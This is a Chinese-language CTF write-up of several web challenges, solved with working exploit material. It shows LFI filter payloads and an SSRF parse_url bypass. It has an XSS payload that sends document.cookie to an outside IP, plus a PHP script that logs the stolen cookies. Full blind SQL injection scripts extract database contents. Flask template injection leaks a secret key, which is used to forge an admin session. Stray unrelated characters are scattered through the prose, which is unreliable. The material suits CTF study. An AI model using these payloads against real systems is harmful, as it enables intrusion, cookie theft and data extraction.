easy_php
訪問robots.txt
,得到了img/index.php
的路徑,訪問后得到源碼:
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);
../
被過濾,可以用....//
來繞過。
因為出現(xiàn)了include_once()
绊序,可以通過LFI
來讀取flag
。
構(gòu)造payload
得到flag
:
index.php?img=php://filter/read=convert.base64-encode/resource=....//flag
php trick
# index.php
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
step 1 fail
繞過$str1 == $str2
和md5($str1) != md5($str2)
因為$str1 = (string)@$_GET['str1'];
秽荞,有了強制轉(zhuǎn)換成string
骤公,所以不能使用數(shù)組繞過,通過弱比較繞過即可扬跋。
第二步的md5($str3) !== md5($str4)
就可以拿數(shù)組繞過了阶捆。
繞過strpos($_SERVER['QUERY_STRING'], "H_game")
可以用到php的恐龍?zhí)匦?/a>。
然后$str5
要滿足is_numeric($str5)
胁住、$str5<9999999999
趁猴、(string)$str5>0
,數(shù)組就能實現(xiàn)繞過彪见。
接下來的step 9
儡司、step 10
和:
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
是簡單的SSRF
。限制就是step 9
的parse_url($url, PHP_URL_HOST) !== "www.baidu.com"
余指。這里利用parse_url
和libcurl
的差異:
parse_url
中獲取的host
是最后一個@
后面的host
捕犬,而libcurl
獲取的是第一個@
后的。
可以構(gòu)造user@127.0.0.1:80@www.baidu.com/admin.php
酵镜,這樣curl
訪問的還是127.0.0.1:80/admin.php
碉碉,而滿足了條件。
訪問admin.php
后得到了其代碼:
# admin.php
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';
if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
有file_get_contents()
淮韭,但是用file_exists()
判斷的存在垢粮,有文件則不給看。利用file_get_contents
和file_exists
判斷存在差異:
file_get_contents
會將路徑轉(zhuǎn)化為絕對路徑而file_exists
不會靠粪。
構(gòu)造filename=xxx/../flag.php
或者使用php
偽協(xié)議也可以讀取蜡吧。
最后payload
:
?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&H.game[]=3&url=http://user@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/resource=flag.php
Math
發(fā)現(xiàn)一張圖片毫蚓,源代碼是<img src=/img/cXVlc3Rpb24ucG5n.php>
。
cXVlc3Rpb24ucG5n
經(jīng)過base64
解密后為question.png
昔善。
嘗試把../../../etc/passwd
經(jīng)過base64
編碼后Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
元潘,放入url
中去讀取:
http://test.tan90.me:8080/img/Li4vLi4vLi4vZXRjL3Bhc3N3ZA==.php
可以讀到/etc/passwd
文件君仆。
去讀/proc/self/environ
:
view-source:http://test.tan90.me:8080/img/Li4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=.php
可以得到CATALINA_HOME=/usr/local/tomcat
翩概。
去讀/usr/local/tomcat/conf/server.xml
,是正常的tomcat
配置文件返咱。
得到網(wǎng)站的根目錄是/usr/local/tomcat/webapps/ROOT
钥庇。
這個是Java Web
,存在Spring MVC
洛姑,嘗試去讀/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
上沐,可以看到url-pattern
部分:
<servlet>
<servlet-name>mathyouqu</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>mathyouqu</servlet-name>
<url-pattern>*.php</url-pattern>
</servlet-mapping>
有<servlet-name>mathyouqu</servlet-name>
這一行皮服,說明有mathyouqu-servlet.xml
存在楞艾。但是里面沒有具體文件名。
訪問例如/img/==.php
來查看報錯信息,看到一條:
hgame.controller.MathController.image(MathController.java:51)
然后去讀取/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class
龄广。
使用jad.exe去反編譯得到源碼:
$ jad -o -r -s java 1.class
得到關(guān)鍵java
代碼:
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}
計算123852^x % 612799081 = 6181254136845 % 612799081
硫眯。
使用python
代碼來運算:
import gmpy2
def bsgs(g,h,p):
if not gmpy2.is_prime(p):
return "p is not prime, you shouldn't use BSGS anyway."
N = int(gmpy2.ceil(gmpy2.sqrt(p - 1)))
tbl = {pow(g, i, p): i for i in range(N)}
c = pow(g, N * (p - 2), p)
for j in range(N):
y = (h * pow(c, j, p)) % p
if y in tbl: return j * N + tbl[y]
return None
print(bsgs(123852, 6181254136845, 612799081))
Baby_Spider
題目加了一些反爬trick
。
from bs4 import BeautifulSoup
import requests, re
url = 'http://x.x.x.x:xxxx'
token = ''
headers = {
'User-Agent': 'Mozilla/5.0 (X10; Windows10 x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3359.139 Safari/537.36'
}
request = requests.session()
request.headers = headers
def login():
request.post(url=url + '/', data=dict(token=token))
def get_question():
soup = BeautifulSoup(request.get(url=url + '/question').content, 'lxml')
question = soup.select_one('.questioncontainer').text[0:-2]
return question
def get_question2():
content = request.get(url=url + '/statics/style.css').text
question = re.search(r'content:"(?P<question>.*)"', content, re.M | re.I).group('question')[0:-2]
return question
def solve(question):
if re.search(r'[a-zA-Z]', question):
print(question)
exit()
solution = eval(question)
status = request.post(url=url + '/solution', data=dict(answer=str(solution))).status_code
print(question, solution, status)
if __name__ == '__main__':
login()
for i in range(31):
if i < 10:
question = get_question()
solve(question)
elif i >= 10 and i < 20:
question = get_question()
table = str.maketrans('01345679', '10694357')
real_question = question.translate(table)
solve(real_question)
elif i >= 20 <= 30:
question = get_question2()
solve(question)
print(request.get(url + '/').text)
Babyxss
這題后面用bot
在運轉(zhuǎn)择同,所以要我們打到admin
也就是bot
的cookie
两入。
進去看到substr(md5($_POST["code"]),0,4)===8859
。
一個很常規(guī)的ctf
驗證碼敲才,用python
得到答案:
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000):
if md5(str(i))[0:4] == 'd4f7':
print(i)
break
驗證碼是20748
裹纳。
經(jīng)過測試,輸入框過濾了一些關(guān)鍵字紧武,例如<scirpt>
被過濾為空剃氧,可以雙寫繞過。構(gòu)造:
<scr<script>ipt>document.write("http://118.25.89.91/?'+document.cookie'")</scr</script>ipt>
自己云主機上新建一個receive.php
:
<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$rec=fopen('cookie.txt','a');
fwrite($rec,"IP:".$ip."| time:".$time."| referer:".$referer."| cookie:".$cookie."\n");
fclose($rec);
?>
就可以得到flag
了阻星。
sqli-1
普通的數(shù)字型sql
注入朋鞍。
id=1 union select database() # // hgame
id=1 union select table_name from information_schema.tables where table_schema=database() # // welcome、f1l1l1l1g妥箕、words
id=1 union select column_name from information_schema.columns where table_name='f1l1l1l1g' # // welcom滥酥、f14444444g
id=1 union select f14444444g from f1l1l1l1g #
sqli-2
sql
盲注。沒回顯一般會選擇時間盲注畦幢、布爾盲注坎吻、報錯注入。
因為這里只會告訴你sql
被執(zhí)行了還是sql
語句錯誤宇葱,所以沒法使用布爾盲注瘦真。
時間盲注payload
:
1 and if((1=2),sleep(2.5),0) #
報錯注入payload
:
1 and if((1=2),exp(9999999),1) #
時間盲注腳本:
import requests
import hashlib
import re
import time
url = 'http://118.89.111.179:3001/index.php'
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
def Get_Database():
for i in range(20):
print("Finding the database length............"+str(i))
payload = "1 and if(length((select schema_name from information_schema.schemata limit 1,1))="+str(i)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
databaseLen = i
print("[*] The database length is "+ str(i))
break
database = ''
for i in range(databaseLen):
print("Finding the database Name............")
for j in range(33,127):
payload = "1 and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
database += chr(int(j))
continue
print("[*] The current database is "+ database)
def Get_tables():
for i in range(20):
print("Finding the table's length..............")
payload = "1 and if(length((select table_name from information_schema.tables where table_schema= database() limit 0,1))="+str(i)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
table_len = i
print("[*] The table length is "+str(i))
break
table_name = ''
for i in range(table_len):
print("Finding the table name...................")
for j in range(33,127):
payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),1)"
time = Get_Data(payload)
if time >=4.5:
table_name += chr(int(j))
continue
print("[*] The current table is "+ table_name)
def Get_columns():
for i in range(30):
print("Finding the columns. length..................")
payload = "1 and if(length((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1))="+str(i)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
columns_len = i
print("[*] The columns length is "+str(i))
break
columns_name = ''
for i in range(columns_len):
print("[*] Finding the columns name:")
for j in range(33,127):
payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name= F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
columns_name += chr(int(j))
continue
print("[*] The current columns is "+ columns_name)
def Get_flag():
for i in range(50):
print("[*] Finding Flag")
payload = "1 and if(length((select fL4444Ag from F11111114G limit 0,1))="+str(i)+",sleep(5),1)"
time = Get_Data(payload)
if time >=4.5:
flag_len = i
print("[*] The flag length is "+str(i))
break
flag = ''
for i in range(flag_len):
for j in range(33,127):
payload = "1 and if(ascii(substr((select fL4444Ag from F11111114G limit 0,1),"+str(i+1)+",1))="+str(j)+",sleep(5),0)"
time = Get_Data(payload)
if time >=4.5:
flag += chr(int(j))
continue
print("[*] The flag is "+ flag)
def Get_Data(payload):
s = requests.session()
string = r"===.*<br>"
r = s.get(url)
code = re.search(string,r.text).group()
code = code.replace("=== ","")
code = code.replace("<br>","")
for i in range(1, 1000000):
if md5(str(i)).startswith(code):
break
data = {'code':i,'id':payload}
start = time.time()
get = s.get(url,params = data)
end = time.time()
return (end-start)
if __name__ == '__main__':
Get_Database()
Get_tables()
Get_columns()
Get_flag()
報錯注入腳本:
import requests
import hashlib
url = "http://118.89.111.179:3001/"
rs =requests.session()
def get_code():
r = rs.get(url)
substr = r.text.split('= ')[1].split('<')[0]
for i in range(1000000):
if hashlib.md5(str(i)).hexdigest()[0:4] == substr:
return str(i)
def run_sql(payload):
flag = ''
key = 0
for i in range(1,40):
for j in range(37,127):
pay=payload.format(str(i),str(j))
r = rs.get(url+'?code='+get_code()+'&id='+pay)
if "error" in r.text:
print str(i) + "--------" + chr(j)
flag +=chr(j)
print "[*] :" + flag
key = 1
break
if key == 0:
break
payload="1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F11111114G'),{0},1))>{1},1,exp(~0))"
payload="1 and if(ascii(substr((select group_concat(fL4444Ag) from F11111114G),{0},1))>{1},1,exp(~0))"
run_sql(payload)
happyPython
可以看出來是Flask
寫的Web
返奉。
輸入url
輸入:
http://118.25.18.223:3001/{{config}}
看到flask
的一些配置信息。
注冊登錄后吗氏,可以在cookie
里的session
:
session:.eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA
這里嘗試通過構(gòu)造session
把自己變成admin
芽偏。
訪問:
http://118.25.18.223:3001/{{get_flashed_messages.__globals__['current_app'].config}}}}
可以找到:
'SECRET_KEY': '9RxdzNwq7!nOoK3*'
使用session-cookie-manager
解密:
$ python session_cookie_manager.py decode -c ".eJwlj0FqAzEMAP_icw6ybEl2PrNIskRDoIXd5FT69xh6HgZmfsuRZ1xf5f4633Erx2OVewGqFWq6NnRbKHPl4pg8JoYTjVEDON1YCYfggu4TwaVHqucM7ESN-2BuZAKxZXf23jnBeqsMkKY6GVkRxjR07aQhNpZjWLkVv848Xj_P-N49UYUTDWHp5jA7QasKCLIghpEY7BKG7b2vOP8napPy9wEjGT8m.XHEbQg.hcFtxcotNptGd_pPRANtWNdEZXA"
得到:
{"_fresh":true,"_id":"051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb","csrf_token":"e176f2b20dadc20945031a0207d0e8b57b0a5260","user_id":"137"}
把"user_id":"137"
變成"user_id":"1"
后進行加密:
$ python session_cookie_manager.py encode -t "{'_fresh':true,'_id':'051101fca32cbd279dfd6e96892ec55881e06fcb6a52872d04c920c74efacf9e245536486635b70ed6ecc6c446f0b431600fbaa9626a2089b2ca45ae7b8dc2eb','csrf_token':'e176f2b20dadc20945031a0207d0e8b57b0a5260','user_id':'1'}" -s "9RxdzNwq7!nOoK3*"
得到session
后替換原有session
后刷新得到flag
。